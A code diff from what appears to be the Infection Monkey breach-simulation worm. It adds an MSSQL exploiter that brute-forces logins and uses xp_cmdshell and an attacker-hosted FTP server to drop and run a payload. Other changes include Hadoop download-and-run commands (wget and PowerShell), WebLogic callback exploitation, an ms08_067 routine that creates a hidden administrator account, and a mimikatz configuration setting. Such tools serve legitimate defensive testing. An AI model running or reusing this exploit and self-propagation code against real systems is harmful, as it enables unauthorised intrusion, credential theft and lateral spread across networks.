|
|
|
@ -7,8 +7,6 @@ from abc import ABCMeta
|
|||
from itertools import product
|
||||
import importlib
|
||||
|
||||
importlib.import_module('infection_monkey', 'network')
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
GUID = str(uuid.getnode())
|
||||
|
@ -22,6 +20,7 @@ class Configuration(object):
|
|||
# now we won't work at <2.7 for sure
|
||||
network_import = importlib.import_module('infection_monkey.network')
|
||||
exploit_import = importlib.import_module('infection_monkey.exploit')
|
||||
post_breach_import = importlib.import_module('infection_monkey.post_breach')
|
||||
|
||||
unknown_items = []
|
||||
for key, value in formatted_data.items():
|
||||
|
@ -35,12 +34,12 @@ class Configuration(object):
|
|||
if key == 'finger_classes':
|
||||
class_objects = [getattr(network_import, val) for val in value]
|
||||
setattr(self, key, class_objects)
|
||||
elif key == 'scanner_class':
|
||||
scanner_object = getattr(network_import, value)
|
||||
setattr(self, key, scanner_object)
|
||||
elif key == 'exploiter_classes':
|
||||
class_objects = [getattr(exploit_import, val) for val in value]
|
||||
setattr(self, key, class_objects)
|
||||
elif key == 'post_breach_actions':
|
||||
class_objects = [getattr(post_breach_import, val) for val in value]
|
||||
setattr(self, key, class_objects)
|
||||
else:
|
||||
if hasattr(self, key):
|
||||
setattr(self, key, value)
|
||||
|
@ -133,7 +132,6 @@ class Configuration(object):
|
|||
# how many scan iterations to perform on each run
|
||||
max_iterations = 1
|
||||
|
||||
scanner_class = None
|
||||
finger_classes = []
|
||||
exploiter_classes = []
|
||||
|
||||
|
@ -193,7 +191,7 @@ class Configuration(object):
|
|||
9200]
|
||||
tcp_target_ports.extend(HTTP_PORTS)
|
||||
tcp_scan_timeout = 3000 # 3000 Milliseconds
|
||||
tcp_scan_interval = 200
|
||||
tcp_scan_interval = 0
|
||||
tcp_scan_get_banner = True
|
||||
|
||||
# Ping Scanner
|
||||
|
@ -206,8 +204,8 @@ class Configuration(object):
|
|||
skip_exploit_if_file_exist = False
|
||||
|
||||
ms08_067_exploit_attempts = 5
|
||||
ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT"
|
||||
ms08_067_remote_user_pass = "Password1!"
|
||||
user_to_add = "Monkey_IUSER_SUPPORT"
|
||||
remote_user_pass = "Password1!"
|
||||
|
||||
# rdp exploiter
|
||||
rdp_use_vbs_download = True
|
||||
|
@ -268,5 +266,7 @@ class Configuration(object):
|
|||
|
||||
extract_azure_creds = True
|
||||
|
||||
post_breach_actions = []
|
||||
|
||||
|
||||
WormConfiguration = Configuration()
|
||||
|
|
|
@ -16,6 +16,7 @@
|
|||
"alive": true,
|
||||
"collect_system_info": true,
|
||||
"extract_azure_creds": true,
|
||||
"should_use_mimikatz": true,
|
||||
"depth": 2,
|
||||
|
||||
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
||||
|
@ -40,7 +41,8 @@
|
|||
"SambaCryExploiter",
|
||||
"Struts2Exploiter",
|
||||
"WebLogicExploiter",
|
||||
"HadoopExploiter"
|
||||
"HadoopExploiter",
|
||||
"MSSQLExploiter"
|
||||
],
|
||||
"finger_classes": [
|
||||
"SSHFinger",
|
||||
|
@ -56,14 +58,13 @@
|
|||
"monkey_log_path_linux": "/tmp/user-1563",
|
||||
"send_log_to_server": true,
|
||||
"ms08_067_exploit_attempts": 5,
|
||||
"ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT",
|
||||
"ms08_067_remote_user_pass": "Password1!",
|
||||
"user_to_add": "Monkey_IUSER_SUPPORT",
|
||||
"remote_user_pass": "Password1!",
|
||||
"ping_scan_timeout": 10000,
|
||||
"rdp_use_vbs_download": true,
|
||||
"smb_download_timeout": 300,
|
||||
"smb_service_name": "InfectionMonkey",
|
||||
"retry_failed_explotation": true,
|
||||
"scanner_class": "TcpScanner",
|
||||
"self_delete_in_cleanup": true,
|
||||
"serialize_config": false,
|
||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
||||
|
@ -78,7 +79,7 @@
|
|||
"sambacry_shares_not_to_check": ["IPC$", "print$"],
|
||||
"local_network_scan": false,
|
||||
"tcp_scan_get_banner": true,
|
||||
"tcp_scan_interval": 200,
|
||||
"tcp_scan_interval": 0,
|
||||
"tcp_scan_timeout": 10000,
|
||||
"tcp_target_ports": [
|
||||
22,
|
||||
|
@ -96,5 +97,6 @@
|
|||
"timeout_between_iterations": 10,
|
||||
"use_file_logging": true,
|
||||
"victims_max_exploit": 7,
|
||||
"victims_max_find": 30
|
||||
"victims_max_find": 30,
|
||||
"post_breach_actions" : []
|
||||
}
|
||||
|
|
|
@ -45,3 +45,4 @@ from infection_monkey.exploit.elasticgroovy import ElasticGroovyExploiter
|
|||
from infection_monkey.exploit.struts2 import Struts2Exploiter
|
||||
from infection_monkey.exploit.weblogic import WebLogicExploiter
|
||||
from infection_monkey.exploit.hadoop import HadoopExploiter
|
||||
from infection_monkey.exploit.mssqlexec import MSSQLExploiter
|
||||
|
|
|
@ -8,7 +8,7 @@ import json
|
|||
import logging
|
||||
import requests
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP
|
||||
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX
|
||||
from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
|
||||
|
||||
import re
|
||||
|
@ -34,7 +34,7 @@ class ElasticGroovyExploiter(WebRCE):
|
|||
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
|
||||
exploit_config['dropper'] = True
|
||||
exploit_config['url_extensions'] = ['_search?pretty']
|
||||
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': RDP_CMDLINE_HTTP}
|
||||
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP}
|
||||
return exploit_config
|
||||
|
||||
def get_open_service_ports(self, port_list, names):
|
||||
|
@ -63,3 +63,20 @@ class ElasticGroovyExploiter(WebRCE):
|
|||
return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
|
||||
except (KeyError, IndexError):
|
||||
return None
|
||||
|
||||
def check_if_exploitable(self, url):
|
||||
# Overridden web_rce method that adds CMD prefix for windows command
|
||||
try:
|
||||
if 'windows' in self.host.os['type']:
|
||||
resp = self.exploit(url, CMD_PREFIX+" "+CHECK_COMMAND)
|
||||
else:
|
||||
resp = self.exploit(url, CHECK_COMMAND)
|
||||
if resp is True:
|
||||
return True
|
||||
elif resp is not False and ID_STRING in resp:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
except Exception as e:
|
||||
LOG.error("Host's exploitability check failed due to: %s" % e)
|
||||
return False
|
|
@ -12,7 +12,7 @@ import posixpath
|
|||
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth
|
||||
from infection_monkey.model import MONKEY_ARG, ID_STRING
|
||||
from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
|
@ -22,16 +22,6 @@ LOG = logging.getLogger(__name__)
|
|||
class HadoopExploiter(WebRCE):
|
||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||
HADOOP_PORTS = [["8088", False]]
|
||||
|
||||
# We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes
|
||||
# to download monkey at the same time
|
||||
LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
|
||||
"&& wget -O %(monkey_path)s %(http_path)s " \
|
||||
"; chmod +x %(monkey_path)s " \
|
||||
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||
WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \
|
||||
" Update /download /priority high %(http_path)s %(monkey_path)s " \
|
||||
"& %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||
# How long we have our http server open for downloads in seconds
|
||||
DOWNLOAD_TIMEOUT = 60
|
||||
# Random string's length that's used for creating unique app name
|
||||
|
@ -46,6 +36,9 @@ class HadoopExploiter(WebRCE):
|
|||
self.add_vulnerable_urls(urls, True)
|
||||
if not self.vulnerable_urls:
|
||||
return False
|
||||
# We presume hadoop works only on 64-bit machines
|
||||
if self.host.os['type'] == 'windows':
|
||||
self.host.os['machine'] = '64'
|
||||
paths = self.get_monkey_paths()
|
||||
if not paths:
|
||||
return False
|
||||
|
@ -79,9 +72,9 @@ class HadoopExploiter(WebRCE):
|
|||
# Build command to execute
|
||||
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||
if 'linux' in self.host.os['type']:
|
||||
base_command = self.LINUX_COMMAND
|
||||
base_command = HADOOP_LINUX_COMMAND
|
||||
else:
|
||||
base_command = self.WINDOWS_COMMAND
|
||||
base_command = HADOOP_WINDOWS_COMMAND
|
||||
|
||||
return base_command % {"monkey_path": path, "http_path": http_path,
|
||||
"monkey_type": MONKEY_ARG, "parameters": monkey_cmd}
|
||||
|
|
|
@ -0,0 +1,127 @@
|
|||
import os
|
||||
import platform
|
||||
from os import path
|
||||
import logging
|
||||
|
||||
import pymssql
|
||||
|
||||
from infection_monkey.exploit import HostExploiter, mssqlexec_utils
|
||||
|
||||
__author__ = 'Maor Rayzin'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class MSSQLExploiter(HostExploiter):
|
||||
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
LOGIN_TIMEOUT = 15
|
||||
SQL_DEFAULT_TCP_PORT = '1433'
|
||||
DEFAULT_PAYLOAD_PATH = os.path.expandvars(r'%TEMP%\~PLD123.bat') if platform.system() else '/tmp/~PLD123.bat'
|
||||
|
||||
def __init__(self, host):
|
||||
super(MSSQLExploiter, self).__init__(host)
|
||||
self.attacks_list = [mssqlexec_utils.CmdShellAttack]
|
||||
|
||||
def create_payload_file(self, payload_path=DEFAULT_PAYLOAD_PATH):
|
||||
"""
|
||||
This function creates dynamically the payload file to be transported and ran on the exploited machine.
|
||||
:param payload_path: A path to the create the payload file in
|
||||
:return: True if the payload file was created and false otherwise.
|
||||
"""
|
||||
try:
|
||||
with open(payload_path, 'w+') as payload_file:
|
||||
payload_file.write('dir C:\\')
|
||||
return True
|
||||
except Exception as e:
|
||||
LOG.error("Payload file couldn't be created", exc_info=True)
|
||||
return False
|
||||
|
||||
def exploit_host(self):
|
||||
"""
|
||||
Main function of the mssql brute force
|
||||
Return:
|
||||
True or False depends on process success
|
||||
"""
|
||||
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
|
||||
|
||||
if not self.create_payload_file():
|
||||
return False
|
||||
if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list,
|
||||
self.DEFAULT_PAYLOAD_PATH):
|
||||
LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr))
|
||||
return True
|
||||
else:
|
||||
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
|
||||
return False
|
||||
|
||||
def handle_payload(self, cursor, payload):
|
||||
|
||||
"""
|
||||
Handles the process of payload sending and execution, prepares the attack and details.
|
||||
|
||||
Args:
|
||||
cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands.
|
||||
payload (string): Payload path
|
||||
|
||||
Return:
|
||||
True or False depends on process success
|
||||
"""
|
||||
|
||||
chosen_attack = self.attacks_list[0](payload, cursor, self.host.ip_addr)
|
||||
|
||||
if chosen_attack.send_payload():
|
||||
LOG.debug('Payload: {0} has been successfully sent to host'.format(payload))
|
||||
if chosen_attack.execute_payload():
|
||||
LOG.debug('Payload: {0} has been successfully executed on host'.format(payload))
|
||||
chosen_attack.cleanup_files()
|
||||
return True
|
||||
else:
|
||||
LOG.error("Payload: {0} couldn't be executed".format(payload))
|
||||
else:
|
||||
LOG.error("Payload: {0} couldn't be sent to host".format(payload))
|
||||
|
||||
chosen_attack.cleanup_files()
|
||||
return False
|
||||
|
||||
def brute_force_begin(self, host, port, users_passwords_pairs_list, payload):
|
||||
"""
|
||||
Starts the brute force connection attempts and if needed then init the payload process.
|
||||
Main loop starts here.
|
||||
|
||||
Args:
|
||||
host (str): Host ip address
|
||||
port (str): Tcp port that the host listens to
|
||||
payload (str): Local path to the payload
|
||||
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
|
||||
|
||||
Return:
|
||||
True or False depends if the whole bruteforce and attack process was completed successfully or not
|
||||
"""
|
||||
# Main loop
|
||||
# Iterates on users list
|
||||
for user, password in users_passwords_pairs_list:
|
||||
try:
|
||||
# Core steps
|
||||
# Trying to connect
|
||||
conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT)
|
||||
LOG.info('Successfully connected to host: {0}, '
|
||||
'using user: {1}, password: {2}'.format(host, user, password))
|
||||
self.report_login_attempt(True, user, password)
|
||||
cursor = conn.cursor()
|
||||
|
||||
# Handles the payload and return True or False
|
||||
if self.handle_payload(cursor, payload):
|
||||
LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host))
|
||||
return True
|
||||
else:
|
||||
LOG.warning("user: {0} and password: {1}, "
|
||||
"was able to connect to host: {2} but couldn't handle payload: {3}"
|
||||
.format(user, password, host, payload))
|
||||
except pymssql.OperationalError:
|
||||
# Combo didn't work, hopping to the next one
|
||||
pass
|
||||
|
||||
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
|
||||
'aborting brute force'.format(host, port))
|
||||
return False
|
|
@ -0,0 +1,214 @@
|
|||
import os
|
||||
import multiprocessing
|
||||
import logging
|
||||
|
||||
import pymssql
|
||||
|
||||
from infection_monkey.exploit.tools import get_interface_to_target
|
||||
from pyftpdlib.authorizers import DummyAuthorizer
|
||||
from pyftpdlib.handlers import FTPHandler
|
||||
from pyftpdlib.servers import FTPServer
|
||||
|
||||
|
||||
__author__ = 'Maor Rayzin'
|
||||
|
||||
|
||||
FTP_SERVER_PORT = 1026
|
||||
FTP_SERVER_ADDRESS = ''
|
||||
FTP_SERVER_USER = 'brute'
|
||||
FTP_SERVER_PASSWORD = 'force'
|
||||
FTP_WORKING_DIR = '.'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class FTP(object):
|
||||
|
||||
"""Configures and establish an FTP server with default details.
|
||||
|
||||
Args:
|
||||
user (str): User for FTP server auth
|
||||
password (str): Password for FTP server auth
|
||||
working_dir (str): The local working dir to init the ftp server on.
|
||||
|
||||
"""
|
||||
|
||||
def __init__(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD,
|
||||
working_dir=FTP_WORKING_DIR):
|
||||
"""Look at class level docstring."""
|
||||
|
||||
self.user = user
|
||||
self.password = password
|
||||
self.working_dir = working_dir
|
||||
|
||||
def run_server(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD,
|
||||
working_dir=FTP_WORKING_DIR):
|
||||
|
||||
""" Configures and runs the ftp server to listen forever until stopped.
|
||||
|
||||
Args:
|
||||
user (str): User for FTP server auth
|
||||
password (str): Password for FTP server auth
|
||||
working_dir (str): The local working dir to init the ftp server on.
|
||||
"""
|
||||
|
||||
# Defining an authorizer and configuring the ftp user
|
||||
authorizer = DummyAuthorizer()
|
||||
authorizer.add_user(user, password, working_dir, perm='elradfmw')
|
||||
|
||||
# Normal ftp handler
|
||||
handler = FTPHandler
|
||||
handler.authorizer = authorizer
|
||||
|
||||
address = (FTP_SERVER_ADDRESS, FTP_SERVER_PORT)
|
||||
|
||||
# Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword
|
||||
self.server = FTPServer(address, handler)
|
||||
|
||||
# Starting ftp server, this server has no auto stop or stop clause, and also, its blocking on use, thats why I
|
||||
# multiproccess is being used here.
|
||||
self.server.serve_forever()
|
||||
|
||||
def stop_server(self):
|
||||
# Stops the FTP server and closing all connections.
|
||||
self.server.close_all()
|
||||
|
||||
|
||||
class AttackHost(object):
|
||||
"""
|
||||
This class acts as an interface for the attacking methods class
|
||||
|
||||
Args:
|
||||
payload_path (str): The local path of the payload file
|
||||
"""
|
||||
|
||||
def __init__(self, payload_path):
|
||||
self.payload_path = payload_path
|
||||
|
||||
def send_payload(self):
|
||||
raise NotImplementedError("Send function not implemented")
|
||||
|
||||
def execute_payload(self):
|
||||
raise NotImplementedError("execute function not implemented")
|
||||
|
||||
|
||||
class CmdShellAttack(AttackHost):
|
||||
|
||||
"""
|
||||
This class uses the xp_cmdshell command execution and will work only if its available on the remote host.
|
||||
|
||||
Args:
|
||||
payload_path (str): The local path of the payload file
|
||||
cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with.
|
||||
|
||||
"""
|
||||
|
||||
def __init__(self, payload_path, cursor, dst_ip_address):
|
||||
super(CmdShellAttack, self).__init__(payload_path)
|
||||
self.ftp_server, self.ftp_server_p = self.__init_ftp_server()
|
||||
self.cursor = cursor
|
||||
self.attacker_ip = get_interface_to_target(dst_ip_address)
|
||||
|
||||
def send_payload(self):
|
||||
"""
|
||||
Sets up an FTP server and using it to download the payload to the remote host
|
||||
|
||||
Return:
|
||||
True if payload sent False if not.
|
||||
"""
|
||||
|
||||
# Sets up the cmds to run
|
||||
shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \
|
||||
echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER)
|
||||
shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD)
|
||||
|
||||
shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\
|
||||
.format(self.payload_path)
|
||||
shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """
|
||||
shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4]
|
||||
|
||||
# Checking to see if ftp server is up
|
||||
if self.ftp_server_p and self.ftp_server:
|
||||
|
||||
try:
|
||||
# Running the cmd on remote host
|
||||
for cmd in shellcmds:
|
||||
self.cursor.execute(cmd)
|
||||
except Exception as e:
|
||||
LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True)
|
||||
self.ftp_server_p.terminate()
|
||||
return False
|
||||
return True
|
||||
else:
|
||||
LOG.error("Couldn't establish an FTP server for the dropout")
|
||||
return False
|
||||
|
||||
def execute_payload(self):
|
||||
|
||||
"""
|
||||
Executes the payload after ftp drop
|
||||
|
||||
Return:
|
||||
True if payload was executed successfully, False if not.
|
||||
"""
|
||||
|
||||
# Getting the payload's file name
|
||||
payload_file_name = os.path.split(self.payload_path)[1]
|
||||
|
||||
# Preparing the cmd to run on remote, using no_output so I can capture exit code: 0 -> success, 1 -> error.
|
||||
shellcmd = """DECLARE @i INT \
|
||||
EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \
|
||||
SELECT @i """.format(payload_file_name)
|
||||
|
||||
try:
|
||||
# Executing payload on remote host
|
||||
LOG.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name))
|
||||
self.cursor.execute(shellcmd)
|
||||
if self.cursor.fetchall()[0][0] == 0:
|
||||
# Success
|
||||
self.ftp_server_p.terminate()
|
||||
LOG.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name))
|
||||
return True
|
||||
else:
|
||||
LOG.warning('Payload: {0} execution on remote host failed'.format(payload_file_name))
|
||||
self.ftp_server_p.terminate()
|
||||
return False
|
||||
|
||||
except pymssql.OperationalError:
|
||||
LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True)
|
||||
self.ftp_server_p.terminate()
|
||||
return False
|
||||
|
||||
def cleanup_files(self):
|
||||
"""
|
||||
Cleans up the folder with the attack related files (C:\\tmp by default)
|
||||
:return: True or False if command executed or not.
|
||||
"""
|
||||
cleanup_command = """xp_cmdshell "rd /s /q c:\\tmp" """
|
||||
try:
|
||||
self.cursor.execute(cleanup_command)
|
||||
LOG.info('Attack files cleanup command has been sent.')
|
||||
return True
|
||||
except Exception as e:
|
||||
LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True)
|
||||
return False
|
||||
|
||||
def __init_ftp_server(self):
|
||||
"""
|
||||
Init an FTP server using FTP class on a different process
|
||||
|
||||
Return:
|
||||
ftp_s: FTP server object
|
||||
p: the process obj of the FTP object
|
||||
"""
|
||||
|
||||
try:
|
||||
ftp_s = FTP()
|
||||
multiprocessing.log_to_stderr(logging.DEBUG)
|
||||
p = multiprocessing.Process(target=ftp_s.run_server)
|
||||
p.start()
|
||||
LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name))
|
||||
return ftp_s, p
|
||||
except Exception as e:
|
||||
LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True)
|
||||
return None, None
|
|
@ -202,8 +202,17 @@ class ShellShockExploiter(HostExploiter):
|
|||
if is_https:
|
||||
attack_path = 'https://'
|
||||
attack_path = attack_path + str(host) + ":" + str(port)
|
||||
reqs = []
|
||||
timeout = False
|
||||
attack_urls = [attack_path + url for url in url_list]
|
||||
reqs = [requests.head(u, verify=False, timeout=TIMEOUT) for u in attack_urls]
|
||||
for u in attack_urls:
|
||||
try:
|
||||
reqs.append(requests.head(u, verify=False, timeout=TIMEOUT))
|
||||
except requests.Timeout:
|
||||
timeout = True
|
||||
break
|
||||
if timeout:
|
||||
LOG.debug("Some connections timed out while sending request to potentially vulnerable urls.")
|
||||
valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok]
|
||||
urls = [resp.url for resp in valid_resps]
|
||||
|
||||
|
|
|
@ -54,7 +54,7 @@ class WebRCE(HostExploiter):
|
|||
exploit_config['upload_commands'] = None
|
||||
|
||||
# url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"]
|
||||
exploit_config['url_extensions'] = None
|
||||
exploit_config['url_extensions'] = []
|
||||
|
||||
# stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable.
|
||||
exploit_config['stop_checking_urls'] = False
|
||||
|
|
|
@ -13,13 +13,16 @@ from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
|
|||
|
||||
import threading
|
||||
import logging
|
||||
import time
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
# How long server waits for get request in seconds
|
||||
SERVER_TIMEOUT = 4
|
||||
# How long to wait for a request to go to vuln machine and then to our server from there. In seconds
|
||||
# How long should be wait after each request in seconds
|
||||
REQUEST_DELAY = 0.0001
|
||||
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
|
||||
REQUEST_TIMEOUT = 2
|
||||
# How long to wait for response in exploitation. In seconds
|
||||
EXECUTION_TIMEOUT = 15
|
||||
|
@ -66,18 +69,41 @@ class WebLogicExploiter(WebRCE):
|
|||
print(e)
|
||||
return True
|
||||
|
||||
def check_if_exploitable(self, url):
|
||||
def add_vulnerable_urls(self, urls, stop_checking=False):
|
||||
"""
|
||||
Overrides parent method to use listener server
|
||||
"""
|
||||
# Server might get response faster than it starts listening to it, we need a lock
|
||||
httpd, lock = self._start_http_server()
|
||||
payload = self.get_test_payload(ip=httpd._local_ip, port=httpd._local_port)
|
||||
exploitable = False
|
||||
|
||||
for url in urls:
|
||||
if self.check_if_exploitable_weblogic(url, httpd):
|
||||
exploitable = True
|
||||
break
|
||||
|
||||
if not exploitable and httpd.get_requests < 1:
|
||||
# Wait for responses
|
||||
time.sleep(REQUEST_TIMEOUT)
|
||||
|
||||
if httpd.get_requests > 0:
|
||||
# Add all urls because we don't know which one is vulnerable
|
||||
self.vulnerable_urls.extend(urls)
|
||||
self._exploit_info['vulnerable_urls'] = self.vulnerable_urls
|
||||
else:
|
||||
LOG.info("No vulnerable urls found, skipping.")
|
||||
|
||||
self._stop_http_server(httpd, lock)
|
||||
|
||||
def check_if_exploitable_weblogic(self, url, httpd):
|
||||
payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port)
|
||||
try:
|
||||
post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False)
|
||||
post(url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False)
|
||||
except exceptions.ReadTimeout:
|
||||
# Our request does not get response thus we get ReadTimeout error
|
||||
# Our request will not get response thus we get ReadTimeout error
|
||||
pass
|
||||
except Exception as e:
|
||||
LOG.error("Something went wrong: %s" % e)
|
||||
self._stop_http_server(httpd, lock)
|
||||
return httpd.get_requests > 0
|
||||
|
||||
def _start_http_server(self):
|
||||
|
@ -94,7 +120,8 @@ class WebLogicExploiter(WebRCE):
|
|||
lock.acquire()
|
||||
return httpd, lock
|
||||
|
||||
def _stop_http_server(self, httpd, lock):
|
||||
@staticmethod
|
||||
def _stop_http_server(httpd, lock):
|
||||
lock.release()
|
||||
httpd.join(SERVER_TIMEOUT)
|
||||
httpd.stop()
|
||||
|
@ -168,8 +195,8 @@ class WebLogicExploiter(WebRCE):
|
|||
we determine if we can exploit by either getting a GET request from host or not.
|
||||
"""
|
||||
def __init__(self, local_ip, local_port, lock, max_requests=1):
|
||||
self._local_ip = local_ip
|
||||
self._local_port = local_port
|
||||
self.local_ip = local_ip
|
||||
self.local_port = local_port
|
||||
self.get_requests = 0
|
||||
self.max_requests = max_requests
|
||||
self._stopped = False
|
||||
|
@ -184,7 +211,7 @@ class WebLogicExploiter(WebRCE):
|
|||
LOG.info('Server received a request from vulnerable machine')
|
||||
self.get_requests += 1
|
||||
LOG.info('Server waiting for exploited machine request...')
|
||||
httpd = HTTPServer((self._local_ip, self._local_port), S)
|
||||
httpd = HTTPServer((self.local_ip, self.local_port), S)
|
||||
httpd.daemon = True
|
||||
self.lock.release()
|
||||
while not self._stopped and self.get_requests < self.max_requests:
|
||||
|
|
|
@ -192,9 +192,9 @@ class Ms08_067_Exploiter(HostExploiter):
|
|||
|
||||
sock.send("cmd /c (net user %s %s /add) &&"
|
||||
" (net localgroup administrators %s /add)\r\n" %
|
||||
(self._config.ms08_067_remote_user_add,
|
||||
self._config.ms08_067_remote_user_pass,
|
||||
self._config.ms08_067_remote_user_add))
|
||||
(self._config.user_to_add,
|
||||
self._config.remote_user_pass,
|
||||
self._config.user_to_add))
|
||||
time.sleep(2)
|
||||
reply = sock.recv(1000)
|
||||
|
||||
|
@ -213,8 +213,8 @@ class Ms08_067_Exploiter(HostExploiter):
|
|||
remote_full_path = SmbTools.copy_file(self.host,
|
||||
src_path,
|
||||
self._config.dropper_target_path_win_32,
|
||||
self._config.ms08_067_remote_user_add,
|
||||
self._config.ms08_067_remote_user_pass)
|
||||
self._config.user_to_add,
|
||||
self._config.remote_user_pass)
|
||||
|
||||
if not remote_full_path:
|
||||
# try other passwords for administrator
|
||||
|
@ -240,7 +240,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
|||
|
||||
try:
|
||||
sock.send("start %s\r\n" % (cmdline,))
|
||||
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,))
|
||||
sock.send("net user %s /delete\r\n" % (self._config.user_to_add,))
|
||||
except Exception as exc:
|
||||
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc)
|
||||
return False
|
||||
|
|
|
@ -13,6 +13,7 @@ from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE
|
|||
from infection_monkey.dropper import MonkeyDrops
|
||||
from infection_monkey.model import MONKEY_ARG, DROPPER_ARG
|
||||
from infection_monkey.monkey import InfectionMonkey
|
||||
import infection_monkey.post_breach # dummy import for pyinstaller
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
|
@ -21,7 +22,7 @@ LOG = None
|
|||
LOG_CONFIG = {'version': 1,
|
||||
'disable_existing_loggers': False,
|
||||
'formatters': {'standard': {
|
||||
'format': '%(asctime)s [%(process)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'},
|
||||
'format': '%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'},
|
||||
},
|
||||
'handlers': {'console': {'class': 'logging.StreamHandler',
|
||||
'level': 'DEBUG',
|
||||
|
|
|
@ -24,8 +24,20 @@ CHMOD_MONKEY = "chmod +x %(monkey_path)s"
|
|||
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||
# Commands used to check for architecture and if machine is exploitable
|
||||
CHECK_COMMAND = "echo %s" % ID_STRING
|
||||
# CMD prefix for windows commands
|
||||
CMD_PREFIX = "cmd.exe /c"
|
||||
# Architecture checking commands
|
||||
GET_ARCH_WINDOWS = "wmic os get osarchitecture"
|
||||
GET_ARCH_LINUX = "lscpu"
|
||||
|
||||
# All in one commands (upload, change permissions, run)
|
||||
HADOOP_WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \
|
||||
"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \
|
||||
" if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \
|
||||
"{& %(monkey_path)s %(monkey_type)s %(parameters)s } \""
|
||||
HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
|
||||
"&& wget -O %(monkey_path)s %(http_path)s " \
|
||||
"; chmod +x %(monkey_path)s " \
|
||||
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||
|
